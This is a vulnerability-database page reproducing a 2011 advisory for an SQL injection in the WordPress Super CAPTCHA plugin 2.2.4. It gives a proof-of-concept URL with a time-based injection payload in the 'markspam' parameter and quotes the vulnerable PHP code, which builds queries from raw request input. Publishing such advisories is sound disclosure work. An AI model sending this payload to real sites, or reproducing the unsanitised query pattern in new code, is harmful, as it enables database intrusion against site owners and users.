Lucene search
K

WordPress Super CAPTCHA 2.2.4 SQL Injection

🗓️ 28 Aug 2011 00:00:00Reported by Miroslav StamparType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

WordPress Super CAPTCHA plugin 2.2.4 SQL Injection Vulnerabilit

Code
`# Exploit Title: WordPress Super CAPTCHA plugin <= 2.2.4 SQL Injection Vulnerability  
# Date: 2011-08-26  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/super-capcha.2.2.4.zip  
# Version: 2.2.4 (tested)  
# Notes: user has to be logged in as "admin" and magic_quotes has to be turned off  
  
---  
PoC  
---  
http://www.site.com/wp-admin/admin.php?page=super-captcha/Logs&markspam=-1' OR SLEEP(5)--%20  
  
---------------  
Vulnerable code  
---------------  
if(isset($_REQUEST['markspam']))  
{  
global $wpdb;  
$UIDs = explode(',', $_REQUEST['markspam']);  
echo('<h2>Accounts Flagged</h2>');  
for($i=0;$i<count($UIDs);$i++)  
{  
mysql_query("UPDATE `". $wpdb->users ."` SET `spam`='1' WHERE `ID`='". $UIDs[$i] ."'");  
mysql_query("UPDATE `". $wpdb->users ."` SET `user_status`='1' WHERE `ID`='". $UIDs[$i] ."'");  
echo('<em>USER ID: '. $UIDs[$i] .' marked as spammer.</em><br />');  
}  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2011 00:00Current
1Low risk
Vulners AI Score1
20